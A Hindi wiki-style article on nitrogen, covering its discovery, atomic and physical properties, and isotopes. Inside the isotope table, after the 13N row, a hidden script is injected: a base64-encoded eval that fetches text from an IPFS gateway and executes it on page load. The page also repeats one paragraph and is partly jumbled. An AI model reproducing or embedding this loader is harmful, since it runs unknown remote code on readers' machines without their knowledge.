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'''नाइट्रोजन''' ([[अंग्रेज़ी भाषा|अंग्रेज़ी]]:''Nitrogen'') नाइट्रोजन गैस की खोज रदरफोर्ड ने 1773 में की थी। नाइट्रोजन [[आवर्त सारणी]] का सातवाँ [[तत्व]] है। इसका प्रतीक चिह्न 'N' है। इसका [[परमाणु द्रव्यमान]] 14.0067 होता है। इसका [[इलेक्ट्रॉनिक विन्यास]] 1s<sup>2</sup>, 2s<sup>2</sup>, 2p<sup>3</sup> होता है। इसे आवर्त सारणी के उपवर्ग 5A में रखा गया है।  
 
==प्रकृति==
 
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यह रंगहीन गैस है। वायु में 79 % भाग नाइट्रोजन पाई जाती है। यह गैस जलने में सहायक नहीं है। जलती हुई तीली नाइट्रोजन से भरे जार में ले जाने पर तीली बुझ जाती है। जीव-जन्तुओं व वनस्पतिओं में यह [[प्रोटीन]] के रूप में संचित रहती है। यह [[गैस]] [[श्वसन]] क्रिया में सहायक नहीं है तथा जिससे नाइट्रोजन के [[वायुमण्डल]] में प्राणियों की मृत्यु हो सकती है। उद्योगों में इसका प्रयोग नाइट्रिक [[अम्ल]] व [[अमोनिया]] बनाने में किया जाता है।  
 
यह रंगहीन गैस है। वायु में 79 % भाग नाइट्रोजन पाई जाती है। यह गैस जलने में सहायक नहीं है। जलती हुई तीली नाइट्रोजन से भरे जार में ले जाने पर तीली बुझ जाती है। जीव-जन्तुओं व वनस्पतिओं में यह [[प्रोटीन]] के रूप में संचित रहती है। यह [[गैस]] [[श्वसन]] क्रिया में सहायक नहीं है तथा जिससे नाइट्रोजन के [[वायुमण्डल]] में प्राणियों की मृत्यु हो सकती है। उद्योगों में इसका प्रयोग नाइट्रिक [[अम्ल]] व [[अमोनिया]] बनाने में किया जाता है।  
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नाइट्रोजन
रंगहीन गैस, द्रव या ठोस

Nitrogen-Spectra.jpg
नाइट्रोजन की वर्णक्रम रेखाएँ
साधारण गुणधर्म
नाम, प्रतीक, संख्या नाइट्रोजन, N, 7
तत्व श्रेणी अधातु
समूह, आवर्त, कक्षा 15, 2, p
मानक परमाणु भार 14.0067g·mol−1
इलेक्ट्रॉन विन्यास 1s2 2s2 2p3
इलेक्ट्रॉन प्रति शेल 2, 5
भौतिक गुणधर्म
रंग रंगहीन
अवस्था गैस
घनत्व (0 °C, 101.325 kPa)
1.251 g/L
तरल घनत्व (गलनांक पर) 0.808 g·cm−3
गलनांक 63.153 K, -210.00 °C, -346.00 °F
क्वथनांक 77.36 K, -195.79 °C, -320.3342 °F
त्रिगुण बिंदु 63.1526 K (-210°C), 12.53 kPa
संकट बिंदु 126.19 K, 3.3978 MPa
संलयन ऊष्मा (N2) 0.72 किलो जूल-मोल
वाष्पन ऊष्मा (N2) 5.56 किलो जूल-मोल
विशिष्ट ऊष्मीय
क्षमता 		(N2) 29.124

जूल-मोल−1किलो−1

वाष्प दाब
P (Pa) 1 10 100 1 k 10 k 100 k
at T (K) 37 41 46 53 62 77
परमाण्विक गुणधर्म
ऑक्सीकरण अवस्था 5, 4, 3, 2, 1, -1, -2, -3
(कठोर अम्लीय आक्साइड)
इलेक्ट्रोनेगेटिविटी 3.04 (पाइलिंग पैमाना)
आयनीकरण ऊर्जाएँ
(अधिक) 		1st: 1402.3 कि.जूल•मोल−1
2nd: 2856 कि.जूल•मोल−1
3rd: 4578.1 कि.जूल•मोल−1
सहसंयोजक त्रिज्या 71±1 pm
वैन्डैर वाल्स त्रिज्या 155 pm
विविध गुणधर्म
क्रिस्टल संरचना षटकोणीय
चुम्बकीय क्रम प्रतिचुम्बकीय
ऊष्मीय चालकता (300 K) 25.83 × 10−3 W·m−1·K−1
ध्वनि की गति (गैस, 27 °C) 353 m/s
सी.ए.एस पंजीकरण
संख्या 		7727-37-9
समस्थानिक
समस्थानिक प्रा. प्रचुरता अर्द्ध आयु क्षरण अवस्था क्षरण ऊर्जा
(MeV) 		क्षरण उत्पाद
13N syn 9.965 min ε 2.220 13C<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
14N 99.634% 14N 7 न्यूट्रॉन के साथ स्थिर

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15N 0.366% 15N 8 न्यूट्रॉन के साथ स्थिर

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नाइट्रोजन (अंग्रेज़ी:Nitrogen) नाइट्रोजन गैस की खोज रदरफोर्ड ने 1773 में की थी। नाइट्रोजन आवर्त सारणी का सातवाँ तत्व है। इसका प्रतीक चिह्न 'N' है। इसका परमाणु द्रव्यमान 14.0067 होता है। इसका इलेक्ट्रॉनिक विन्यास 1s2, 2s2, 2p3 होता है। इसे आवर्त सारणी के उपवर्ग 5A में रखा गया है।

प्रकृति

यह रंगहीन गैस है। वायु में 79 % भाग नाइट्रोजन पाई जाती है। यह गैस जलने में सहायक नहीं है। जलती हुई तीली नाइट्रोजन से भरे जार में ले जाने पर तीली बुझ जाती है। जीव-जन्तुओं व वनस्पतिओं में यह प्रोटीन के रूप में संचित रहती है। यह गैस श्वसन क्रिया में सहायक नहीं है तथा जिससे नाइट्रोजन के वायुमण्डल में प्राणियों की मृत्यु हो सकती है। उद्योगों में इसका प्रयोग नाइट्रिक अम्ल व अमोनिया बनाने में किया जाता है।


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टीका टिप्पणी और संदर्भ

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आवर्त सारणी
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क्षार धातुएँ क्षारीय पार्थिव धातुएँ लेन्थेनाइडस ऐक्टिनाइडस संक्रमण धातुएँ संक्रमणोपरांत धातु उपधातुएँ अन्य अधातु हैलोजन्स अक्रिय गैस


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